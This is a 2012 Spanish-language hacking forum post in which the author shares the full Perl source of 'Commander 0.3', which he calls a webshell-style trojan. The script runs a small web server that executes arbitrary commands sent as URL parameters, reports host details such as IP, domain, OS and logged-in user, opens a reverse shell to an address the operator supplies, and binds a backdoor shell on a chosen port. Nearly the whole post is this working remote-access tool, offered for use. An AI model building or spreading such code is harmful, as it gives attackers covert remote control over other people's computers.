Bienvenido a Tecnohackers

Tecnohackers » General del foro » Area de Programacion » Scripting. VBS, Batch, Bash, JavaSript. (Moderador: Doddy)
 » 

[Perl] Commander 0.3



Autor Tema: [Perl] Commander 0.3  (Leído 12 veces)

Desconectado Doddy

  • Moderator
  • Veterano
  • *****
  • Mensajes: 267
  • Slow Mind
[Perl] Commander 0.3
« en: Enero 19, 2012, 05:26:57 pm »
Una mejora de un troyano al estilo webshell que habia hecho el verano pasado.

Código: No puedes ver links Registrate o Login
#!usr/bin/perl
#
#C0mmand3r (C) Doddy HAckman 2012
#Version 0.3
#
#A simple WebShell in Perl
#
#

use IO::Socket;
use CGI;
use Cwd;
use Win32;

my $port = rep();

sub rep {
    unless ( $ARGV[0] ) {
        return int("777");    #Your Can Edit 666
    }
    else {
        return int( $ARGV[0] );
    }
}

print "\n\n#########################################\n\n";
print "C0mmand3r (C) Doddy HAckman 2012\n\n\n";
print "[+] Starting the webshell on port $port\n\n";
print "#########################################\n\n";

my $sock = new IO::Socket::INET(
    LocalHost => 'localhost',
    LocalPort => $port,
    Proto     => 'tcp',
    Listen    => SOMAXCONN,
    Reuse     => 1
);

while ( $jebus = $sock->accept() ) {

    print $jebus "HTTP/1.1 200/OK\r\nContent-type:text/html\r\n\r\n";

#print $jebus "HTTP/1.1 200/OK\r\nContent-type:application/w-www-form-urlencoded\r\n\r\n";
    next if $slave = fork;

    close $sock;

    while ( $response = <$jebus> ) {

        chomp($response);

        my %rta;

        if ( $response =~ /GET/ig ) {
            capturar($response);
        }

        sub capturar {
            my $aa = shift;
            chomp $aa;
            if ( $aa =~ /GET \/(.*) HTTP\/1.1/ig ) {
                my $todo = $1;
                if ( $todo =~ /\?(.*)=(.*)&(.*)=(.*)/ig ) {
                    $rta{$1} = $2;
                    $rta{$3} = $4;
                }
                if ( $todo =~ /\?(.*)=(.*)/ig ) {
                    $rta{$1} = $2;
                }
            }

        }

        print $jebus "

<style type=text/css>


.main {
margin : -287px 0px 0px -490px;
border : White solid 1px;
BORDER-COLOR: #00FF00;
}

#pie {
position: absolute;
bottom: 0;
}

body,a:link {
font: normal 16px Verdana, Arial, Helvetica,
sans-serif;
background-color: #000000;
color:#00FF00;
Courier New;
cursor:crosshair;
font-size: small;
}

input,table.outset,table.bord,table,textarea,select,fieldset {
background-color:black;color:#00FF00;
border: solid 1px #00FF00;
border-color:#00FF00
}

a:link,a:visited,a:active {
color: #00FF00;
font: normal 16px Verdana, Arial, Helvetica,
sans-serif;
text-decoration: none;
}

</style>

";

        if ( $rta{'info'} ) {

            info();

            print $jebus "<center><br><br><b>IP : </b>" . get_ip() . "<br>";
            print $jebus "<center><br><br><b>Domain : </b>"
              . Win32::DomainName() . "<br>";
            print $jebus "<b>Chip : </b>" . Win32::GetChipName() . "<br>";
            print $jebus "<b>OS : </b>" . Win32::GetOSName() . "<br>";
            print $jebus "<b>Version : </b>" . Win32::GetOSVersion() . "<br>";
            print $jebus "<b>User : </b>"
              . Win32::LoginName()
              . "<br><br></center>";
            copyright();

        }

        elsif ( $rta{'console'} ) {
            logouno();
            print $jebus "
<br><br><center>
<form action='' method=GET>
Command : <input type=text name=cmd value=ver><input type=submit value=Execute>
</center></form><br><br>
";
            copyright();
        }

        elsif ( $rta{'cmd'} ) {
            logouno();
            $lucha = $rta{'cmd'};
            print $jebus "<br><br><center><fieldset>";
            $lucha =~ s/\+/ /;
            print $jebus "<br>[+] Command : <b>$lucha</b><br><br>";
            print $jebus qx($lucha);
            print $jebus "</center></fieldset>";
            copyright();
        }

        elsif ( $rta{'reverse'} ) {

            logodos();

            print $jebus qq(
<center>
<br><br><b>ReverseShell</b><br><br>
<form action='' method=GET>
<b>Your IP</B> : <input type=text name=ipconnect value=localhost><br>
<b>Port</b> : <input type=text name=port value=666><br>
<br><input type=submit value=Connect></form><br><br>
</center>
);

            copyright();
        }

        elsif ( $rta{'ipconnect'} ) {

            conectar( $rta{'ipconnect'}, $rta{'port'} );
            tipo();

            sub conectar {
                socket( REVERSE, PF_INET, SOCK_STREAM, getprotobyname("tcp") );
                connect( REVERSE, sockaddr_in( $_[1], inet_aton( $_[0] ) ) );
                open( STDIN,  ">&REVERSE" );
                open( STDOUT, ">&REVERSE" );
                open( STDERR, ">&REVERSE" );
            }

            sub tipo {
                print "\n[*] Reverse Shell Starting...\n\n";
                if ( $^O =~ /Win32/ig ) {
                    infowin();
                    system("cmd.exe");
                }
                else {
                    infolinux();

                    #root();
                    system("export TERM=xterm;exec sh -i");
                }
            }

            sub infowin {
                print "[+] Domain Name : " . Win32::DomainName() . "\n";
                print "[+] OS Version : " . Win32::GetOSName() . "\n";
                print "[+] Username : " . Win32::LoginName() . "\n\n\n";
            }

            sub infolinux {
                print "[+] System information\n\n";
                system("uname -a");
                print "\n\n";
            }
        }

        elsif ( $rta{'backdoor'} ) {

            logotres();

            print $jebus qq(
<center>
<br><br><b>BindPort</b><br><br>
<form action='' method=GET>
<b>Port</b> : <input type=text name=portbind value=666><br>
<br><input type=submit value=Bind></form><br><br>
</center>
);

            copyright();

        }

        elsif ( $rta{'portbind'} ) {

            $backdoor = IO::Socket::INET->new(
                Proto     => 'tcp',
                LocalPort => $rta{'portbind'},
                Listen    => SOMAXC,
                Reuse     => 1
            );

            while ( $jesus = $backdoor->accept() ) {
                $jesus->autoflush(1);
                print $jesus
                  "[*] Heaven_Door Online\n[*] Port : 25256\n[*] PID : "
                  . $$ . "\n\n";
                print $jesus "Welcome  " . $jesus->peerhost . "\n\n";
                &extras;
                $dir = getcwd();
                print $jesus $dir . ">>";
                while (<$jesus>) {
                    my $yeah = qx($_);
                    print $jesus "\n\n" . $yeah . "\n\n";
                    print $jesus $dir . ">>";
                }
            }

            sub extras {

                if ( $^O =~ //ig ) {
                    print $jesus "[+] Domain Name : "
                      . Win32::DomainName() . "\n";
                    print $jesus "[+] OS Version : "
                      . Win32::GetOSName() . "\n";
                    print $jesus "[+] Username : "
                      . Win32::LoginName()
                      . "\n\n\n";
                }
                else {
                    $s = qx("uname -a");
                    print $jesus "--==System Info==--\n\n" . $s;
                }
            }
        }

        elsif ( $rta{'about'} ) {

            about();

            print $jebus qq(
<pre><center>

                                           
                 ¾¾¾¾¾¾¾¾¾¾¾               
             ¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾           
           ¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾         
         ¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾         
         ¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾       
        ¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾       
       ¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾       
       ¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾       
       ¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾     
        ¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾     
        ¾¾¾¾¾¾¾  ¾¾¾¾¾¾¾¾¾¾¾    ¾¾¾¾       
         ¾¾¾¾       ¾¾¾¾¾¾      ¾¾¾¾       
          ¾¾¾      ¾¾¾ ¾¾¾      ¾¾¾       
          ¾¾¾¾¾¾¾¾¾¾¾   ¾¾¾   ¾¾¾¾         
           ¾¾¾¾¾¾¾¾¾     ¾¾¾¾¾¾¾¾¾         
           ¾¾¾¾¾¾¾¾¾  ¾  ¾¾¾¾¾¾¾¾¾         
           ¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾         
                ¾¾¾¾¾¾¾¾¾¾¾¾¾             
              ¾  ¾¾¾¾¾¾¾¾¾¾  ¾             
              ¾    ¾ ¾¾¾¾ ¾  ¾             
              ¾ ¾¾          ¾¾             
     ¾¾¾      ¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾             
    ¾¾¾¾¾      ¾¾¾¾¾¾¾¾¾¾¾¾¾¾      ¾¾¾     
    ¾¾¾¾¾¾¾      ¾¾¾¾¾¾¾¾¾¾¾      ¾¾¾¾¾¾   
    ¾¾¾¾¾¾¾¾¾¾      ¾¾¾         ¾¾¾¾¾¾¾¾¾ 
     ¾¾¾  ¾¾¾¾¾¾             ¾¾¾¾¾¾¾¾¾¾¾   
              ¾¾¾¾¾¾     ¾¾¾¾¾¾¾           
                 ¾¾¾¾¾¾¾¾¾¾¾¾             
                  ¾¾¾¾¾¾¾¾¾               
               ¾¾¾¾¾¾¾ ¾¾¾¾¾¾¾             
           ¾¾¾¾¾¾¾         ¾¾¾¾¾¾¾         
       ¾¾¾¾¾¾¾                ¾¾¾¾¾¾¾¾¾¾   
  ¾¾¾¾¾¾¾¾                       ¾¾¾¾¾¾¾¾ 
  ¾¾¾¾¾¾                           ¾¾¾¾¾¾ 
   ¾¾¾¾                             ¾¾¾¾   
                                         

</pre></center>

);

            copyright();

        }
        else {
            print $jebus "
<title>Commander 0.3 (C) Doddy Hackman 2012</title>
<br><br>
<h1><center>Commander</center></h1>
<br><br>
<center>
<table border=1>
<td class=main><center><b>Tools</b></center></td><tr>
<td class=main><a href=?info=true><center>Information</center></a></td><tr>
<td class=main><a href=?console=true><center>Console</center></a></td><tr>
<td class=main><a href=?backdoor=true><center>Backdoor</center></a></td><tr>
<td class=main><a href=?reverse=true><center>ReverseShell</center></a></td><tr>
<td class=main><a href=?about=true><center>About</center></a></td>
</table>
</center>
";
            copyright();
        }
        $jebus->close;
    }
}
continue {
    $jebus->close;
}

sub logouno {
    print $jebus qq(

<pre><center>


    @@@@@@@@                                                  @@           
  @@        @@                                                @@           
  @@                                                          @@           
  @@              @@@@@@    @@  @@@@      @@@@      @@@@@@    @@    @@@@@@ 
  @@            @@      @@  @@@@    @@  @@    @@  @@      @@  @@  @@      @@
  @@            @@      @@  @@      @@    @@      @@      @@  @@  @@@@@@@@@@
  @@            @@      @@  @@      @@      @@    @@      @@  @@  @@       
  @@        @@  @@      @@  @@      @@  @@    @@  @@      @@  @@  @@      @@
    @@@@@@@@      @@@@@@    @@      @@    @@@@      @@@@@@    @@    @@@@@@ 


</pre></center>
);
}

sub logodos {
    print $jebus qq(
<pre><center>


  @@@@@@@@@@                                                                   
  @@        @@                                                                 
  @@        @@                                                                 
  @@        @@      @@@@@@    @@      @@    @@@@@@    @@@@    @@@@      @@@@@@ 
  @@@@@@@@@@      @@      @@  @@      @@  @@      @@  @@    @@    @@  @@      @@
  @@        @@    @@@@@@@@@@    @@  @@    @@@@@@@@@@  @@      @@      @@@@@@@@@@
  @@        @@    @@            @@  @@    @@          @@        @@    @@       
  @@        @@    @@      @@      @@      @@      @@  @@    @@    @@  @@      @@
  @@        @@      @@@@@@        @@        @@@@@@    @@      @@@@      @@@@@@ 


</pre></center>
);
}

sub logotres {

    print $jebus qq(
<pre><center>

  @@@@@@@@                              @@                  @@                             
  @@      @@                            @@                  @@                             
  @@      @@                            @@                  @@                             
  @@      @@      @@@@@@      @@@@@@    @@    @@      @@@@@@@@    @@@@@@      @@@@@@    @@@@
  @@@@@@@@              @@  @@      @@  @@  @@      @@      @@  @@      @@  @@      @@  @@ 
  @@      @@      @@@@@@@@  @@          @@@@        @@      @@  @@      @@  @@      @@  @@ 
  @@      @@    @@      @@  @@          @@  @@      @@      @@  @@      @@  @@      @@  @@ 
  @@      @@    @@      @@  @@      @@  @@    @@    @@      @@  @@      @@  @@      @@  @@ 
  @@@@@@@@        @@@@@@@@    @@@@@@    @@      @@    @@@@@@@@    @@@@@@      @@@@@@    @@ 


</pre></center>
);
}

sub about {

    print $jebus qq(
<pre><center>


      @@        @@                                     
      @@        @@                                  @@ 
    @@  @@      @@                                  @@ 
    @@  @@      @@@@@@@@      @@@@@@    @@      @@  @@@@
  @@      @@    @@      @@  @@      @@  @@      @@  @@ 
  @@      @@    @@      @@  @@      @@  @@      @@  @@ 
  @@@@@@@@@@    @@      @@  @@      @@  @@      @@  @@ 
@@          @@  @@      @@  @@      @@  @@    @@@@  @@ 
@@          @@  @@@@@@@@      @@@@@@      @@@@  @@    @@


</pre></center>
);

}

sub info {

    print $jebus qq(
<pre><center>


  @@    @@        @@    @@@@@@@@@@    @@@@@@@@ 
  @@    @@@@      @@    @@          @@        @@
  @@    @@@@      @@    @@          @@        @@
  @@    @@  @@    @@    @@          @@        @@
  @@    @@  @@    @@    @@@@@@@@    @@        @@
  @@    @@    @@  @@    @@          @@        @@
  @@    @@      @@@@    @@          @@        @@
  @@    @@      @@@@    @@          @@        @@
  @@    @@        @@    @@            @@@@@@@@ 


</pre></center>
);

}

sub get_ip {
    my $get = gethostbyname("");
    return inet_ntoa($get);
}

sub copyright {
    print $jebus
      "<br><br><br><br><center><h1>Coded By Doddy H</h2></center><br><br>";
    exit(1);
}

# The End ?

No puedes ver links Registrate o Login

Tags:

 

Related Topics

  Asunto / Iniciado por Respuestas Último mensaje
0 Respuestas
476 Vistas
Último mensaje Enero 24, 2010, 12:26:44 am
por Necrófero
2 Respuestas
442 Vistas
Último mensaje Mayo 09, 2011, 10:18:35 am
por scout
0 Respuestas
219 Vistas
Último mensaje Noviembre 03, 2010, 04:15:45 am
por zolo
0 Respuestas
34 Vistas
Último mensaje Mayo 27, 2011, 11:33:17 pm
por Doddy


SMF 2.0.2 | SMF © 2011, Simple Machines
Paginas Afiliadas
InfraBios - i-hacker - Twitter - FaceBook - Troyanosyvirus - LaWebDeGoku - daraxblog
Designed by Smf Personal